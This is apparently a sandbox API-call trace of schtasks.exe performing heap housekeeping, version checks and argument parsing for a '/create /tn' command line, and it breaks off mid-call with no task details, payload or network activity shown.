[0077.817] GetProcessHeap () returned 0x160000 [0077.817] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c330) returned 1 [0077.818] GetProcessHeap () returned 0x160000 [0077.818] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c330) returned 0x8 [0077.818] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c330 | out: hHeap=0x160000) returned 1 [0077.818] GetProcessHeap () returned 0x160000 [0077.818] GetProcessHeap () returned 0x160000 [0077.818] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cd60) returned 1 [0077.818] GetProcessHeap () returned 0x160000 [0077.818] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cd60) returned 0x20 [0077.819] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cd60 | out: hHeap=0x160000) returned 1 [0077.819] GetProcessHeap () returned 0x160000 [0077.819] GetProcessHeap () returned 0x160000 [0077.819] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c3c0) returned 1 [0077.819] GetProcessHeap () returned 0x160000 [0077.819] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c3c0) returned 0xa [0077.819] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c3c0 | out: hHeap=0x160000) returned 1 [0077.819] GetProcessHeap () returned 0x160000 [0077.819] GetProcessHeap () returned 0x160000 [0077.819] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cd90) returned 1 [0077.819] GetProcessHeap () returned 0x160000 [0077.819] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cd90) returned 0x20 [0077.820] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cd90 | out: hHeap=0x160000) returned 1 [0077.820] GetProcessHeap () returned 0x160000 [0077.820] GetProcessHeap () returned 0x160000 [0077.820] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c3e0) returned 1 [0077.820] GetProcessHeap () returned 0x160000 [0077.820] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c3e0) returned 0x8 [0077.820] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c3e0 | out: hHeap=0x160000) returned 1 [0077.820] GetProcessHeap () returned 0x160000 [0077.820] GetProcessHeap () returned 0x160000 [0077.820] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cdc0) returned 1 [0077.820] GetProcessHeap () returned 0x160000 [0077.820] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cdc0) returned 0x20 [0077.822] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cdc0 | out: hHeap=0x160000) returned 1 [0077.823] GetProcessHeap () returned 0x160000 [0077.823] GetProcessHeap () returned 0x160000 [0077.823] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c400) returned 1 [0077.823] GetProcessHeap () returned 0x160000 [0077.823] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c400) returned 0xe [0077.823] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c400 | out: hHeap=0x160000) returned 1 [0077.823] GetProcessHeap () returned 0x160000 [0077.823] GetProcessHeap () returned 0x160000 [0077.823] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cdf0) returned 1 [0077.823] GetProcessHeap () returned 0x160000 [0077.823] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cdf0) returned 0x20 [0077.824] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cdf0 | out: hHeap=0x160000) returned 1 [0077.824] GetProcessHeap () returned 0x160000 [0077.824] GetProcessHeap () returned 0x160000 [0077.824] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c420) returned 1 [0077.824] GetProcessHeap () returned 0x160000 [0077.824] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c420) returned 0x8 [0077.824] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c420 | out: hHeap=0x160000) returned 1 [0077.824] GetProcessHeap () returned 0x160000 [0077.824] GetProcessHeap () returned 0x160000 [0077.824] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17ce20) returned 1 [0077.824] GetProcessHeap () returned 0x160000 [0077.824] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17ce20) returned 0x20 [0077.825] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17ce20 | out: hHeap=0x160000) returned 1 [0077.825] GetProcessHeap () returned 0x160000 [0077.825] GetProcessHeap () returned 0x160000 [0077.825] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c440) returned 1 [0077.825] GetProcessHeap () returned 0x160000 [0077.825] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c440) returned 0x4 [0077.825] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c440 | out: hHeap=0x160000) returned 1 [0077.825] GetProcessHeap () returned 0x160000 [0077.825] GetProcessHeap () returned 0x160000 [0077.825] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17ce50) returned 1 [0077.825] GetProcessHeap () returned 0x160000 [0077.825] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17ce50) returned 0x20 [0077.826] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17ce50 | out: hHeap=0x160000) returned 1 [0077.826] GetProcessHeap () returned 0x160000 [0077.826] GetProcessHeap () returned 0x160000 [0077.826] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c460) returned 1 [0077.826] GetProcessHeap () returned 0x160000 [0077.826] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c460) returned 0x8 [0077.826] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c460 | out: hHeap=0x160000) returned 1 [0077.826] GetProcessHeap () returned 0x160000 [0077.826] GetProcessHeap () returned 0x160000 [0077.826] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17ce80) returned 1 [0077.826] GetProcessHeap () returned 0x160000 [0077.826] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17ce80) returned 0x20 [0077.827] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17ce80 | out: hHeap=0x160000) returned 1 [0077.827] GetProcessHeap () returned 0x160000 [0077.827] GetProcessHeap () returned 0x160000 [0077.827] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17dea0) returned 1 [0077.827] GetProcessHeap () returned 0x160000 [0077.827] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17dea0) returned 0x74 [0077.828] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17dea0 | out: hHeap=0x160000) returned 1 [0077.828] GetProcessHeap () returned 0x160000 [0077.828] GetProcessHeap () returned 0x160000 [0077.828] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17ceb0) returned 1 [0077.828] GetProcessHeap () returned 0x160000 [0077.828] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17ceb0) returned 0x20 [0077.829] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17ceb0 | out: hHeap=0x160000) returned 1 [0077.829] GetProcessHeap () returned 0x160000 [0077.829] GetProcessHeap () returned 0x160000 [0077.829] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17df20) returned 1 [0077.829] GetProcessHeap () returned 0x160000 [0077.829] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17df20) returned 0x8 [0077.829] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17df20 | out: hHeap=0x160000) returned 1 [0077.829] GetProcessHeap () returned 0x160000 [0077.829] GetProcessHeap () returned 0x160000 [0077.829] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cee0) returned 1 [0077.829] GetProcessHeap () returned 0x160000 [0077.829] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cee0) returned 0x20 [0077.830] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cee0 | out: hHeap=0x160000) returned 1 [0077.830] GetProcessHeap () returned 0x160000 [0077.830] GetProcessHeap () returned 0x160000 [0077.830] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d670) returned 1 [0077.830] GetProcessHeap () returned 0x160000 [0077.830] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17d670) returned 0x10 [0077.830] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17d670 | out: hHeap=0x160000) returned 1 [0077.830] GetProcessHeap () returned 0x160000 [0077.830] GetProcessHeap () returned 0x160000 [0077.830] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cf10) returned 1 [0077.830] GetProcessHeap () returned 0x160000 [0077.830] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cf10) returned 0x20 [0077.831] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cf10 | out: hHeap=0x160000) returned 1 [0077.831] GetProcessHeap () returned 0x160000 [0077.831] GetProcessHeap () returned 0x160000 [0077.831] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17df40) returned 1 [0077.831] GetProcessHeap () returned 0x160000 [0077.831] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17df40) returned 0x6 [0077.831] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17df40 | out: hHeap=0x160000) returned 1 [0077.831] GetProcessHeap () returned 0x160000 [0077.831] GetProcessHeap () returned 0x160000 [0077.831] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cf40) returned 1 [0077.831] GetProcessHeap () returned 0x160000 [0077.831] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cf40) returned 0x20 [0077.832] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cf40 | out: hHeap=0x160000) returned 1 [0077.832] GetProcessHeap () returned 0x160000 [0077.832] GetProcessHeap () returned 0x160000 [0077.832] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175560) returned 1 [0077.832] GetProcessHeap () returned 0x160000 [0077.832] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175560) returned 0x18 [0077.832] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175560 | out: hHeap=0x160000) returned 1 [0077.832] SetLastError (dwErrCode=0x0) [0077.832] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0077.832] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0077.832] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0077.832] VerifyVersionInfoW (in: lpVersionInformation=0xdc410, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xdc410) returned 1 [0077.832] SetLastError (dwErrCode=0x0) [0077.832] lstrlenW (lpString="create") returned 6 [0077.832] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0077.832] SetLastError (dwErrCode=0x490) [0077.832] SetLastError (dwErrCode=0x0) [0077.832] lstrlenW (lpString="create") returned 6 [0077.832] GetProcessHeap () returned 0x160000 [0077.833] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cf40 [0077.833] GetProcessHeap () returned 0x160000 [0077.833] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x18) returned 0x17d670 [0077.833] _memicmp (_Buf1=0x17d670, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.833] GetProcessHeap () returned 0x160000 [0077.833] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x16) returned 0x17d690 [0077.833] SetLastError (dwErrCode=0x0) [0077.833] _memicmp (_Buf1=0x17bbc0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.833] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x17bd60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0077.833] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0077.834] GetProcessHeap () returned 0x160000 [0077.834] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x74e) returned 0x17dea0 [0077.834] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x17dea0 | out: lpData=0x17dea0) returned 1 [0077.834] VerQueryValueW (in: pBlock=0x17dea0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdc4f8, puLen=0xdc560 | out: lplpBuffer=0xdc4f8*=0x17e23c, puLen=0xdc560) returned 1 [0077.834] _memicmp (_Buf1=0x17bbc0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.834] _vsnwprintf (in: _Buffer=0x17bd60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdc4d8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0077.834] VerQueryValueW (in: pBlock=0x17dea0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdc568, puLen=0xdc558 | out: lplpBuffer=0xdc568*=0x17e068, puLen=0xdc558) returned 1 [0077.834] lstrlenW (lpString="schtasks.exe") returned 12 [0077.834] lstrlenW (lpString="schtasks.exe") returned 12 [0077.834] lstrlenW (lpString=".EXE") returned 4 [0077.834] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0077.834] lstrlenW (lpString="schtasks.exe") returned 12 [0077.834] lstrlenW (lpString=".EXE") returned 4 [0077.834] lstrlenW (lpString="schtasks") returned 8 [0077.834] lstrlenW (lpString="/create") returned 7 [0077.835] _memicmp (_Buf1=0x17bbc0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.835] _vsnwprintf (in: _Buffer=0x17bd60, _BufferCount=0x19, _Format="%s %s", _ArgList=0xdc4d8 | out: _Buffer="schtasks /create") returned 16 [0077.835] _memicmp (_Buf1=0x17bbe0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.835] GetProcessHeap () returned 0x160000 [0077.835] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cf10 [0077.835] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.835] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0077.835] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0077.835] GetProcessHeap () returned 0x160000 [0077.835] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x30) returned 0x177c20 [0077.835] _vsnwprintf (in: _Buffer=0x17c160, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdc4d8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0077.835] GetProcessHeap () returned 0x160000 [0077.835] GetProcessHeap () returned 0x160000 [0077.835] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17dea0) returned 1 [0077.835] GetProcessHeap () returned 0x160000 [0077.835] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17dea0) returned 0x74e [0077.836] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17dea0 | out: hHeap=0x160000) returned 1 [0077.836] SetLastError (dwErrCode=0x0) [0077.836] GetThreadLocale () returned 0x409 [0077.836] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.836] lstrlenW (lpString="create") returned 6 [0077.836] GetThreadLocale () returned 0x409 [0077.836] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.836] lstrlenW (lpString="?") returned 1 [0077.836] GetThreadLocale () returned 0x409 [0077.836] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.836] lstrlenW (lpString="s") returned 1 [0077.836] GetThreadLocale () returned 0x409 [0077.836] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.836] lstrlenW (lpString="u") returned 1 [0077.836] GetThreadLocale () returned 0x409 [0077.836] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.836] lstrlenW (lpString="p") returned 1 [0077.836] GetThreadLocale () returned 0x409 [0077.836] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.837] lstrlenW (lpString="ru") returned 2 [0077.837] GetThreadLocale () returned 0x409 [0077.837] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.837] lstrlenW (lpString="rp") returned 2 [0077.837] GetThreadLocale () returned 0x409 [0077.837] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.837] lstrlenW (lpString="sc") returned 2 [0077.837] GetThreadLocale () returned 0x409 [0077.837] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.837] lstrlenW (lpString="mo") returned 2 [0077.837] GetThreadLocale () returned 0x409 [0077.837] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.837] lstrlenW (lpString="d") returned 1 [0077.837] GetThreadLocale () returned 0x409 [0077.837] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.837] lstrlenW (lpString="m") returned 1 [0077.837] GetThreadLocale () returned 0x409 [0077.837] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.837] lstrlenW (lpString="i") returned 1 [0077.837] GetThreadLocale () returned 0x409 [0077.837] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.837] lstrlenW (lpString="tn") returned 2 [0077.837] GetThreadLocale () returned 0x409 [0077.837] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.837] lstrlenW (lpString="tr") returned 2 [0077.837] GetThreadLocale () returned 0x409 [0077.837] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.838] lstrlenW (lpString="st") returned 2 [0077.838] GetThreadLocale () returned 0x409 [0077.838] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.838] lstrlenW (lpString="sd") returned 2 [0077.838] GetThreadLocale () returned 0x409 [0077.838] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.838] lstrlenW (lpString="ed") returned 2 [0077.838] GetThreadLocale () returned 0x409 [0077.838] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.838] lstrlenW (lpString="it") returned 2 [0077.838] GetThreadLocale () returned 0x409 [0077.838] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.838] lstrlenW (lpString="et") returned 2 [0077.838] GetThreadLocale () returned 0x409 [0077.838] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.838] lstrlenW (lpString="k") returned 1 [0077.838] GetThreadLocale () returned 0x409 [0077.838] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.838] lstrlenW (lpString="du") returned 2 [0077.838] GetThreadLocale () returned 0x409 [0077.838] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.838] lstrlenW (lpString="ri") returned 2 [0077.838] GetThreadLocale () returned 0x409 [0077.838] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.838] lstrlenW (lpString="z") returned 1 [0077.838] GetThreadLocale () returned 0x409 [0077.838] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.839] lstrlenW (lpString="f") returned 1 [0077.839] GetThreadLocale () returned 0x409 [0077.839] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.839] lstrlenW (lpString="v1") returned 2 [0077.839] GetThreadLocale () returned 0x409 [0077.839] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.839] lstrlenW (lpString="xml") returned 3 [0077.839] GetThreadLocale () returned 0x409 [0077.839] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.839] lstrlenW (lpString="ec") returned 2 [0077.839] GetThreadLocale () returned 0x409 [0077.839] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.839] lstrlenW (lpString="rl") returned 2 [0077.839] GetThreadLocale () returned 0x409 [0077.839] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.839] lstrlenW (lpString="delay") returned 5 [0077.839] GetThreadLocale () returned 0x409 [0077.839] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.839] lstrlenW (lpString="np") returned 2 [0077.839] SetLastError (dwErrCode=0x0) [0077.839] SetLastError (dwErrCode=0x0) [0077.839] lstrlenW (lpString="/create") returned 7 [0077.839] lstrlenW (lpString="-/") returned 2 [0077.839] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.839] lstrlenW (lpString="create") returned 6 [0077.839] lstrlenW (lpString="create") returned 6 [0077.839] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.840] lstrlenW (lpString="create") returned 6 [0077.840] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.840] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|create|") returned 8 [0077.840] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|create|") returned 8 [0077.840] lstrlenW (lpString="|create|") returned 8 [0077.840] lstrlenW (lpString="|create|") returned 8 [0077.840] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0077.840] SetLastError (dwErrCode=0x0) [0077.840] SetLastError (dwErrCode=0x0) [0077.840] SetLastError (dwErrCode=0x0) [0077.840] lstrlenW (lpString="/tn") returned 3 [0077.840] lstrlenW (lpString="-/") returned 2 [0077.840] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.840] lstrlenW (lpString="create") returned 6 [0077.840] lstrlenW (lpString="create") returned 6 [0077.840] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.840] lstrlenW (lpString="tn") returned 2 [0077.840] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.840] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|create|") returned 8 [0077.840] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.840] lstrlenW (lpString="|create|") returned 8 [0077.840] lstrlenW (lpString="|tn|") returned 4 [0077.840] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0077.840] SetLastError (dwErrCode=0x490) [0077.840] lstrlenW (lpString="?") returned 1 [0077.840] lstrlenW (lpString="?") returned 1 [0077.840] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.841] lstrlenW (lpString="tn") returned 2 [0077.841] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.841] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|?|") returned 3 [0077.841] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.841] lstrlenW (lpString="|?|") returned 3 [0077.841] lstrlenW (lpString="|tn|") returned 4 [0077.841] SetLastError (dwErrCode=0x490) [0077.841] lstrlenW (lpString="s") returned 1 [0077.841] lstrlenW (lpString="s") returned 1 [0077.841] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.841] lstrlenW (lpString="tn") returned 2 [0077.841] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.841] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|s|") returned 3 [0077.841] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.841] lstrlenW (lpString="|s|") returned 3 [0077.841] lstrlenW (lpString="|tn|") returned 4 [0077.841] SetLastError (dwErrCode=0x490) [0077.841] lstrlenW (lpString="u") returned 1 [0077.841] lstrlenW (lpString="u") returned 1 [0077.841] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.841] lstrlenW (lpString="tn") returned 2 [0077.841] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.841] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|u|") returned 3 [0077.841] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.841] lstrlenW (lpString="|u|") returned 3 [0077.842] lstrlenW (lpString="|tn|") returned 4 [0077.842] SetLastError (dwErrCode=0x490) [0077.842] lstrlenW (lpString="p") returned 1 [0077.842] lstrlenW (lpString="p") returned 1 [0077.842] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.842] lstrlenW (lpString="tn") returned 2 [0077.842] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.842] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|p|") returned 3 [0077.842] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.842] lstrlenW (lpString="|p|") returned 3 [0077.842] lstrlenW (lpString="|tn|") returned 4 [0077.842] SetLastError (dwErrCode=0x490) [0077.842] lstrlenW (lpString="ru") returned 2 [0077.842] lstrlenW (lpString="ru") returned 2 [0077.842] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.842] lstrlenW (lpString="tn") returned 2 [0077.842] _memicmp (_Buf1=0x17c350, 